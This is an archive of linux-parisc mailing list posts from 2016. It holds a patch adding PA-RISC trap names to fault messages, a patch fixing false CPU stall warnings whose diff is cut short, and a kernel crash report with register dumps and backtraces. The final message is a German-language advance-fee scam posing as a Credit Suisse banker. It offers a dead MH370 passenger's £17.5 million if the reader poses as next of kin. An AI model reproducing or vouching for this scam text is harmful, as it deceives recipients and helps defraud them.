X-UI-Out-Filterresults: notjunk:1;V01:K0:wlGaFFn7qic=:wEOs7jKodzVvhNJCkUathl
 3TTdCmnh3UuZw9bU6QICfdgvN6jW4L01IkhEKmrvYvz5GRGydm90D6PE/hVupWN0JIZFEdg+E
 7+9KalTR3ZyLPSxsnsKDBt9US7Cub6JAZcXqGCiK2GWG9hm21n/jdz6+mUBqWZrzjGXyPFA/Q
 TY8IuKJbnmY4CY4+/cZzcIqFi2YR67Gs1n/wxIQKQVJeMKpdqWaxxNqBke13wHDEc6cPKWsA5
 gX2Kp4ENdqb+TthjqUHmeasxaxCOh0NPHa98wQis+xoLBanMJCMtuJ2FCCvucz5BRVldITNy4
 wo47IbL++SMolpVrvcxURM/vWJ5mkJiBzlrXp9978p7F2J9ClThCP6ed4W7sUkALOYWSDHuep
 6dFjn2GKtxIbsVF6D3N9rPYRgyVQrCgOG+ofzv6oN5817H2u8XfZQasFvVrJ/+47IB04IU45e
 FUkMALLQ8LnRhJsgfA7F2pU465fl/9BDppGnBfhXS8RHk5EMC5km9jXhiNGgW2VGWifqbYYFz
 L0XzlEd2esrIcoNdueG+vKbWg+IaGKRkrhLHIOgqffEyYvMi9f8quxRAtPlc0MXfJdqBy/12U
 JvyMDflS8WhzCVyBLeeJZcBfo9mBc5zlyohLSDOaCfmphYUUxwyc1Ihe0XAq+Lsg2EiKVi2P+
 zGKCew95NEb+OuaWptcm9B/+od+CL4hhHmPBfjk1iG/w1Snv9rJZlTnSMjRZoXFghQbZfY5bB
 oswqMGDkpf7f8IgFp3PrTxOdtmn1KaFhyynD4DaeE7jhXam/3NB2tlqm44M=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26967>

When faulting on some trap, the kernel currently reports in dmesg:

 do_page_fault() command='perl' type=6 address=0xbe400403 in libcrypt-2.24.so[f9086000+9000]
 vm_start = 0x00922000, vm_end = 0x00aed000

With this change the trap type additionally gets reported as human readable
string which makes it simpler to recognize the type of problem:

 do_page_fault() command='perl' type=6 address=0xbe400403 in libcrypt-2.24.so[f9086000+9000]
 Instruction TLB miss fault, vm_start = 0x00922000, vm_end = 0x00aed000

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 16dbe81..bdbd73b 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -168,6 +168,43 @@ int fixup_exception(struct pt_regs *regs)
 }
 
 /*
+ * parisc hardware trap list
+ *
+ * Documented in section 3 "Addressing and Access Control" of the
+ * "PA-RISC 1.1 Architecture and Instruction Set Reference Manual"
+ * https://parisc.wiki.kernel.org/index.php/File:Pa11_acd.pdf
+ *
+ * For implementation see handle_interruption() in traps.c
+ */
+static const char * const trap_description[] = {
+	[1] "High-priority machine check (HPMC)",
+	[2] "Power failure interrupt",
+	[3] "Recovery counter trap",
+	[5] "Low-priority machine check",
+	[6] "Instruction TLB miss fault",
+	[7] "Instruction access rights / protection trap",
+	[8] "Illegal instruction trap",
+	[9] "Break instruction trap",
+	[10] "Privileged operation trap",
+	[11] "Privileged register trap",
+	[12] "Overflow trap",
+	[13] "Conditional trap",
+	[14] "FP Assist Exception trap",
+	[15] "Data TLB miss fault",
+	[16] "Non-access ITLB miss fault",
+	[17] "Non-access DTLB miss fault",
+	[18] "Data memory protection/unaligned access trap",
+	[19] "Data memory break trap",
+	[20] "TLB dirty bit trap",
+	[21] "Page reference trap",
+	[22] "Assist emulation trap",
+	[25] "Taken branch trap",
+	[26] "Data memory access rights trap",
+	[27] "Data memory protection ID trap",
+	[28] "Unaligned data reference trap",
+};
+
+/*
  * Print out info about fatal segfaults, if the show_unhandled_signals
  * sysctl is set:
  */
@@ -176,6 +213,8 @@ show_signal_msg(struct pt_regs *regs, unsigned long code,
 		unsigned long address, struct task_struct *tsk,
 		struct vm_area_struct *vma)
 {
+	const char *trap_name = NULL;
+
 	if (!unhandled_signal(tsk, SIGSEGV))
 		return;
 
@@ -186,6 +225,12 @@ show_signal_msg(struct pt_regs *regs, unsigned long code,
 	pr_warn("do_page_fault() command='%s' type=%lu address=0x%08lx",
 	    tsk->comm, code, address);
 	print_vma_addr(KERN_CONT " in ", regs->iaoq[0]);
+
+	if (code < ARRAY_SIZE(trap_description))
+		trap_name = trap_description[code];
+	if (trap_name)
+		pr_warn(" %s%c", trap_name, vma ? ',':'\n');
+
 	if (vma)
 		pr_warn(" vm_start = 0x%08lx, vm_end = 0x%08lx\n",
 				vma->vm_start, vma->vm_end);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix self-detected CPU stall warnings on Mako machines
Date: Sat, 24 Sep 2016 22:22:12 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20160924202212.GA23059@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1474748565 21185 195.159.176.226 (24 Sep 2016 20:22:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Sep 2016 20:22:45 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 24 22:22:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bntSq-0003QQ-Jg
	for glpp-linux-parisc@m.gmane.org; Sat, 24 Sep 2016 22:22:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1760907AbcIXUWZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 24 Sep 2016 16:22:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57689 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1760889AbcIXUWZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 24 Sep 2016 16:22:25 -0400
Original-Received: from p100.box ([92.203.55.246]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M6874-1b2y6f0NIY-00yCAf; Sat, 24 Sep 2016 22:22:15
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:IZGRPAuF8d2yw/daFpbC7oNxE1FwfcZxw5XLKed5LltbPXr1Hpc
 k+U9wtHgZyAqJAbaHj6/u6NSGFJIjOns11JHfLqjDFW00feLDcXV35JxEUgFM6xaW9medDI
 qUUkzMEEt/VJIz3EcE6eB4xOpzZcqsmJqteX59qdxINdYwf5uRxhlbUkvXhQQWOqTu8YLr7
 NfwCzPfwAT49AohNF5MAQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:qHLSqWaheoY=:EjkccsiKCJoms5gM5JEhGE
 SHtm5NqOcZe2OSHYhjFENsLjl8DIlm3V+U8GyWvP1a+KAfeyXP7SmiQEDexIy+aT3bWKgW7XZ
 2IwmIcwdyxhnre1bx1kMyKD6wlxhUJnzgubedXtFH2d3FmHGni15oj1DFQjmKz74bb4J6KNj3
 RIsl9DVuoz+Li4W86mYsUiWsMxJppr4Lh4ScBr1xd+f7ZO2fKemEMLQQEqKa9i6RQQAp6hL/T
 JSoky6AcyWaQpTqYzRJY9arHj2f38y0nZ+nLjDZyIiH9WzAciqKt1lGunjCXXarRl4zWhUX3n
 pO7umfan44ChsO7CuA5UPfgsGqVEMIxImXTTczzoRCLcCpI97c8/hEbk3zVEaiTuTTARgAOVc
 yUD8MlMA1aIiD6/HwKjg0Q34quF6JJXaBvO3WdhTw6Q/JFxtOQkGwWtShwC6coT5ZDCHbt5tP
 Pku8ciL/FuTirG6rVOit/yPfb2NKcWBGdhw8/XOEbU20weujgLByq2P0OKPFNzPI9kODHBQ6t
 3P5IxQQpZ4hwAhIsk/BCXQ5XTmgcUnF5+8kMI7KYOJlo+VS0cgCBf2V4xAHURVkDHA33R23rA
 BW6CyGUJwQTwmAo0woEr3/iCJK8YfIlq4nBTxA8XpztlPv5+PcNEf4mbg0tYIzPsqSR8G8SBJ
 DLaVYmoQ7GEHGrrW68f+OajZByExTC09VqCNQ+6aVOeEaLYzf0XorYR3s13XVaY9+BIDKzUgq
 nbNAdTGcodjTXL4yvMag/px+OvwibXzCyVs2Do40md/r37nPHJJb7X8xXAI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26968>

The config option HAVE_UNSTABLE_SCHED_CLOCK is set automatically when compiling
for SMP. There is no need to clear the stable-clock flag via
clear_sched_clock_stable() when starting secondary CPUs, and even worse,
clearing it triggers wrong self-detected CPU stall warnings on 64bit Mako
machines.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.7+

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 4b0b963..9b63b87 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -226,12 +226,6 @@ void __init start_cpu_itimer(void)
 	unsigned int cpu = smp_processor_id();
 	unsigned long next_tick = mfctl(16) + clocktick;
 
-#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
-	/* With multiple 64bit CPUs online, the cr16's are not syncronized. */
-	if (cpu != 0)
-		clear_sched_clock_stable();
-#endif

From - Thu Nov 08 21:39:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: kernel BUG at linux-4.7.5/mm/vmscan.c:1395!
Date: Sat, 1 Oct 2016 22:51:23 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <57F021CB.6000704@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1475355104 22043 195.159.176.226 (1 Oct 2016 20:51:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Oct 2016 20:51:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "linux-mm@kvack.org" <linux-mm@kvack.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 01 22:51:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bqRFo-0003eB-4r
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Oct 2016 22:51:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752711AbcJAUva (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Oct 2016 16:51:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:56875 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752710AbcJAUv2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Oct 2016 16:51:28 -0400
Original-Received: from [192.168.20.60] ([92.203.51.13]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MV1wf-1bPHKj0m7B-00YQCy; Sat, 01 Oct 2016 22:51:24
 +0200
X-Enigmail-Draft-Status: N1110
X-Provags-ID: V03:K0:3K/c6RpfiBOmxZ+FJQY6pLF8l8OQjVVBHIYapaY8j0JQA8Eg8BA
 VX/Csj619/g91XbQfcNfTPAlHt5vw3jIPEqHLUlb0COn2Yr2p2p0I88Oz/njGPU0W0hE++3
 +hRqq9/7hpV0dgzB81QpgFvi7lrT1NqB4X4AdpgBQeJ23lsQWy2pdKJf0Xw2A8RrHST6XXJ
 wF63wCvGNFQ3nxIu8dQ7Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wT3/TBqFDhE=:kOAtBp1JObWQJ3TZgRAsrH
 knwTH/cHh2pOTFUFA2DN8FNP+T/aDPn+++Iy0hhRU21PdpKFEDcuwBoNQzkpXCd5cuxuxXFDM
 VOtUrI2FfJVYl4ku/l3nrzi93JYXC94Tbv6cIIg6cXa9SEHOkvEVZlQE0ub+d837rxYO+jPw+
 eIh8ePN1oXLBrkLH2wpr3RFbSYwQRM1ONw9szXG/Dp+R8MlRsVwbwhyzntKrH2Qo9Y6EfXWay
 mDKDGkCL9wGTL+P6Ymbg3362Zga5p6hLpBTJzOyQjvJNrVbuSRukiFvTUUnOI4I37LqBXAxMT
 rg8pMYdwyqWBR1vyuuBadp0DRzEcFlbP5PzzMF1raKya/Hi1GJpYb8d8DwmwLvvV9V9NWljdo
 VXg0qOd0ngvm4L5Y3z/5OhYqPHV9xmZWl4xBADiC62kgjprRf9YF6800TygS/neqkuvHBQaiM
 vUrar8x6CWyvMnvieUl7H4MmiSuWLMEZf3SHYebbN1D3Tb+M/Ed59BkNUlKmkQuj5/hK4xAUO
 RbZSBdgYMuD8b/fNk7UTOseh3T2sspLgVIxZa4Sy//tS60wyDPYHDriNeexS2jv1GKCDT1+3S
 OthDiRXa2FCNSnNfJD5h55XlIMpVn0NR6AHrhxo9lnL9ENLbAQIBNd+x9EisBEdQES0LeKAqf
 QW4HOiMvuNy1Wewv8VP2qP/4esu45t35BXkW46ydHkVXZkw7si26Ybw5eAkD0GTAfCv21Siir
 ONEV3hHdfYOAWPO/M0FuAtVmikvUTbR9ahcuH3IMReFprhRgrdrM4tHTeHQPieCGAmLoHuC0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26969 gmane.linux.kernel.mm:158858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26969>

I tried running the debian 4.7.5 kernel on our parisc debian buildd servers,
but when it reaches some load I usually see after some time this kernel crash:

[ 2142.421978] ------------[ cut here ]------------
[ 2142.422194] kernel BUG at /build/linux/linux-4.7.5/mm/vmscan.c:1395!
[ 2142.422714] CPU: 0 PID: 47 Comm: kswapd1 Not tainted 4.7.0-1-parisc64-smp #1 Debian 4.7.5-1
[ 2142.423047] task: 00000000bb2761b0 ti: 00000000bb27c000 task.ti: 00000000bb27c000
[ 2142.431931] 
[ 2142.432001]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[ 2142.442117] PSW: 00001000000001001111111100001110 Not tainted
[ 2142.442329] r00-03  000000ff0804ff0e 0000000040cef520 000000004041ad6c 00000000bb27c530
[ 2142.451906] r04-07  0000000040cd1520 00000000bf2ac010 00000000bb27c5f0 0000000000000001
[ 2142.461626] r08-11  00000000bf2ac000 0000000000000010 0000000000000020 0000000000000001
[ 2142.493204] r12-15  0000000000000000 0000000000000001 00000000bb27c3f8 00000000bb27c410
[ 2142.634877] r16-19  00000000bb27c254 0000000041a5f260 00000000bb27c280 0000000000000000
[ 2142.635189] r20-23  0000000000000001 0000000000000000 00000000bb27c254 00000000bb27c410
[ 2142.778062] r24-27  00000000bb27c620 000000004041aa38 000000004041ad6c 0000000040cd1520
[ 2142.922203] r28-31  ffffffffffffffea 00000000bb27c690 00000000bb27c620 0000000000040048
[ 2143.065747] sr00-03  000000000325d000 000000000325d000 0000000000000000 000000000325d000
[ 2143.209974] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[ 2143.210245] 
[ 2143.353754] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004041ae58 000000004041ae5c
[ 2143.354040]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000001ec9f27c6f0
[ 2143.497716]  CPU:        0   CR30: 00000000bb27c000 CR31: ffffff7fffffffff
[ 2143.642443]  ORIG_R28: 00000000bb27c830
[ 2143.642625]  IAOQ[0]: isolate_lru_pages.isra.20+0x1d8/0x2c0
[ 2143.786212]  IAOQ[1]: isolate_lru_pages.isra.20+0x1dc/0x2c0
[ 2143.786408]  RP(r2): isolate_lru_pages.isra.20+0xec/0x2c0
[ 2143.930262] Backtrace:
[ 2143.930371]  [<000000004041dddc>] shrink_active_list+0x184/0x720
[ 2144.073396]  [<0000000040420938>] kswapd+0x6d8/0x1008
[ 2144.073600]  [<00000000402c9864>] __wake_up_locked+0x84/0xa8
[ 2144.217657]  [<000000004028fa84>] kthread+0x1ec/0x248
[ 2144.217848]  [<0000000040205020>] end_fault_vector+0x20/0xc0
[ 2144.360930]  [<000000004021e494>] execute_on_irq_stack+0x54/0x108
[ 2144.361148]  [<0000000040300a98>] rcu_irq_exit+0x40/0xa0
[ 2144.505159]  [<000000004025d1d8>] irq_exit+0x108/0x120
[ 2144.505345]  [<000000004021faa4>] do_cpu_irq_mask+0x2bc/0x4a8
[ 2144.648511]  [<0000000040206074>] intr_return+0x0/0xc
[ 2144.648700]  [<00000000402d9e50>] cpuacct_charge+0x50/0xe8
[ 2144.793737]  [<00000000402b4fa0>] check_preempt_wakeup+0x260/0x2d0
[ 2144.793962]  [<00000000402a3390>] check_preempt_curr+0x120/0x128
[ 2144.936497]  [<00000000402b47a4>] update_curr+0x18c/0x2d8
[ 2145.080725]  [<00000000402d9e50>] cpuacct_charge+0x50/0xe8
[ 2145.080922]  [<00000000402b47a4>] update_curr+0x18c/0x2d8
[ 2145.225161] 
[ 2145.225240] CPU: 0 PID: 47 Comm: kswapd1 Not tainted 4.7.0-1-parisc64-smp #1 Debian 4.7.5-1
[ 2145.229139] Backtrace:
[ 2145.229139]  [<000000004021c738>] show_stack+0x68/0x80
[ 2145.229139]  [<00000000406e937c>] dump_stack+0xec/0x168
[ 2145.229139]  [<000000004021ca04>] die_if_kernel+0x25c/0x430
[ 2145.229139]  [<000000004021dd90>] handle_interruption+0xc98/0xcc0
[ 2145.229139] 
[ 2145.657495] ---[ end trace bf38fbc7135d5765 ]---


Once I could capture this warning as well (which crashed the machine later on):


[  559.048134] list_add corruption. next->prev should be prev (00000000ba709020), but was 0000000042c98860. (next=0000000043604ee0).
[  559.048999] ------------[ cut here ]------------
[  559.049227] WARNING: CPU: 2 PID: 17367 at /build/linux/linux-4.7.5/lib/list_debug.c:29 __list_add+0x11c/0x128
[  559.058096] Modules linked in: autofs4 nfsd auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc sg ext4 ecb crc16 jbd2 crc32c_generic mbcache sr_mod cdrom sd_mod sym53c8xx scsi_transport_spi scsi_mod tulip
[  559.077491] CPU: 2 PID: 17367 Comm: cp Not tainted 4.7.0-1-parisc64-smp #2 Debian 4.7.5-1
[  559.087139] task: 00000000bb06e370 ti: 00000000b8cb0000 task.ti: 00000000b8cb0000
[  559.120020] 
[  559.120084]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  559.120254] PSW: 00001000000001001111100000001110 Not tainted
[  559.260535] r00-03  000000ff0804f80e 0000000040d42520 000000004071a118 00000000b8cb0d80
[  559.404336] r04-07  0000000040cd1520 00000000420b2e60 00000000ba709020 0000000043604ee0
[  559.404647] r08-11  0000000000000002 0000000000000001 0000000000000000 0000000040c4d940
[  559.547814] r12-15  0000000000000000 00000000420b2e40 000000000800000f 0000000000000000
[  559.691424] r16-19  0000000000000000 0000000000000000 00000000b8cb0650 000000000800000e
[  559.835467] r20-23  0000000000000001 000000000800000e 0000000000000174 0000000000000174
[  559.979173] r24-27  00000000b8cb1370 00000000406fdaa8 000000004070be24 0000000040cd1520
[  559.979457] r28-31  0000000000000075 00000000b8cb13e0 00000000b8cb0e20 0000000000000075
[  560.121995] sr00-03  0000000003e8c800 0000000000000000 0000000000000000 0000000003e8c800
[  560.265947] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[  560.410434] 
[  560.410503] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004071a11c 000000004071a120
[  560.554676]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 00000003d47518d0
[  560.554917]  CPU:        2   CR30: 00000000b8cb0000 CR31: fffffffffff3ffff
[  560.697554]  ORIG_R28: 0000000040cf4520
[  560.697701]  IAOQ[0]: __list_add+0x11c/0x128
[  560.842128]  IAOQ[1]: __list_add+0x120/0x128
[  560.842285]  RP(r2): __list_add+0x118/0x128
[  560.986271] Backtrace:
[  560.986388]  [<000000004040fee0>] __pagevec_lru_add_fn+0x1c8/0x2c8
[  561.130001]  [<000000004041076c>] pagevec_lru_move_fn+0x1c4/0x288
[  561.130221]  [<0000000040410aa8>] __lru_cache_add+0x118/0x158
[  561.274461]  [<00000000404120ac>] lru_cache_add+0x64/0x80
[  561.274664]  [<00000000403ef490>] add_to_page_cache_lru+0x148/0x250
[  561.417955]  [<00000000403f114c>] pagecache_get_page+0x2a4/0x600
[  561.418174]  [<00000000403f2a40>] grab_cache_page_write_begin+0x90/0xe0
[  561.564306]  [<0000000028984080>] ext4_da_write_begin+0x130/0x7e0 [ext4]
[  561.705674]  [<00000000403f2e28>] generic_perform_write+0x158/0x370
[  561.705905]  [<00000000403f4ac8>] __generic_file_write_iter+0x260/0x2d8
[  561.849151]  [<000000002896fdf4>] ext4_file_write_iter+0x10c/0x548 [ext4]
[  561.992629]  [<00000000404ba758>] new_sync_write+0x168/0x1d0
[  561.992839]  [<00000000404ba8a4>] __vfs_write+0xe4/0xf0
[  562.136521]  [<00000000404bc05c>] vfs_write+0xfc/0x278
[  562.136710]  [<00000000404be4f4>] SyS_write+0xcc/0x170
[  562.279474]  [<0000000040207024>] syscall_exit+0x0/0x14
[  562.279655] 
[  562.279721] ---[ end trace bce15645442c2913 ]---


I see there was one commit pushed into the stable tree:
mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=22f2ac51b6d643666f4db093f13144f773ff3f3a

Might this patch help to fix the issues as well?
If not, maybe someone has an idea based on the traces above?
I don't think it's triggered due to parisc specific changes...

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Credit Suisse Bank England <werberthfurtado@detran.ma.gov.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Credit Suisse Bank England
Date: Mon, 3 Oct 2016 03:21:07 -0300 (BRT)
Lines: 36
Approved: news@gmane.org
Message-ID: <225830506.151248.1475475667071.JavaMail.root__29142.8507924595$1475479872$gmane$org@detran.ma.gov.br>
Reply-To: Chris Williams <chriswilliams-creditsuisse@mail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1475479872 5609 195.159.176.226 (3 Oct 2016 07:31:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Oct 2016 07:31:12 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 03 09:31:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bqxi7-0007Ve-B3
	for glpp-linux-parisc@m.gmane.org; Mon, 03 Oct 2016 09:30:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751584AbcJCHa3 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 3 Oct 2016 03:30:29 -0400
Original-Received: from mail3.seati.ma.gov.br ([201.18.153.129]:41768 "EHLO
        mail3.seati.ma.gov.br" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750839AbcJCHaY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 3 Oct 2016 03:30:24 -0400
X-Greylist: delayed 4140 seconds by postgrey-1.27 at vger.kernel.org; Mon, 03 Oct 2016 03:30:21 EDT
Original-Received: from mail.seati.ma.gov.br (mail.seati.ma.gov.br [172.16.2.155])
        by mail3.seati.ma.gov.br (8.14.3/8.14.3/Debian-9.4) with ESMTP id u936LBra022014;
        Mon, 3 Oct 2016 03:21:12 -0300
Original-Received: from mail.detran.ma.gov.br (mail.detran.ma.gov.br [10.100.30.62])
        by mail.seati.ma.gov.br (Postfix) with ESMTP id 9CFD41400A0;
        Mon,  3 Oct 2016 03:21:10 -0300 (BRT)
Original-Received: from localhost (localhost [127.0.0.1])
        by mail.detran.ma.gov.br (Postfix) with ESMTP id 4DA38CC224A;
        Mon,  3 Oct 2016 03:21:10 -0300 (BRT)
X-Virus-Scanned: amavisd-new at mail.detran.ma.gov.br
Original-Received: from mail.detran.ma.gov.br ([127.0.0.1])
        by localhost (mail.detran.ma.gov.br [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id XYhrgFe1nVUb; Mon,  3 Oct 2016 03:21:09 -0300 (BRT)
Original-Received: from mail.detran.ma.gov.br (mail.detran.ma.gov.br [172.17.14.31])
        by mail.detran.ma.gov.br (Postfix) with ESMTP id 1AFB8CC2248;
        Mon,  3 Oct 2016 03:21:07 -0300 (BRT)
X-Originating-IP: [74.82.4.69]
X-Mailer: Zimbra 8.0.0_GA_5434 (zclient/8.0.0_GA_5434)
Thread-Topic: Credit Suisse Bank England
Thread-Index: R16GZ1cFcM+UboePgdy3GbRpNzPXLQ==
X-Bayes-Prob: 0.5 (Score 0: No Bayes scoring rules defined, tokens from: saida)
X-CanIt-Incident-Id: 01ROSlbRx
X-CanIt-Geo: No geolocation information available for 10.100.30.62
X-CanItPRO-Stream: saida
X-Canit-Stats-ID: 01ROSlbRx - e61eda9ec714
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.2.54
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26970>

Guten Tag, wie geht es Ihnen heute? Ich habe Ihre E-Mail-Kontakt aus Ihrem Land Business Directory und beschlossen, mit Ihnen in Verbindung zu diesem Business-Vorschlag. Ich bin Herr Chris Williams der Investment Banking Abteilung der Credit Suisse Bank One Cabot Square, London E14 4QJ, Großbritannien. Ich bin Kontaktaufnahme mit Ihnen in Bezug auf ein Geschäft Vorschlag, die von einer immensen Vorteil für uns beide sein wird.

In meiner Abteilung, entdeckte ich eine verlassene Summe von £ 17,5 Mio. GBP (Siebzehn Millionen fünfhunderttausend britische Pfund Sterling) in einem Konto, das zu einem unserer ausländischen Kunden verstorbenen Herrn Brodskij Nikolai, ein russischer Geschäftsmann, der ein Opfer war, gehört der Malaysia Airlines Flight 370 (MH370 / MAS370), die im Süden der indische Ozean auf 8. März 2014 auf dem Weg von Kuala Lumpur international Airport abgestürzt zu Beijing Capital International Airport zu töten alle an Bord.

Informieren Sie sich über den untenstehenden Link für die Passagierliste:


http://online.wsj.com/news/articles/SB10001424052702303369904579427230127866184

MR Brodskij Nikolai Nummer 7 auf der Liste, Seit seinem Tod unserer Bank hat für die nächsten Angehörigen zu kommen für die Behauptung seiner Gelder und Güter schätzten die Summe von £ 17,5 Mio. GBP, aber niemand hat so, ich persönlich getan gewartet , waren nicht erfolgreich bei der Suche nach einer seiner Verwandten. Ich suche Ihre Zustimmung an Sie an die Bank, wie die nächsten Angehörigen des Verstorbenen zu präsentieren, so dass die Erlöse aus diesem Konto bei £ 17,5 Mio. GBP an Sie gezahlt werden bewertet.


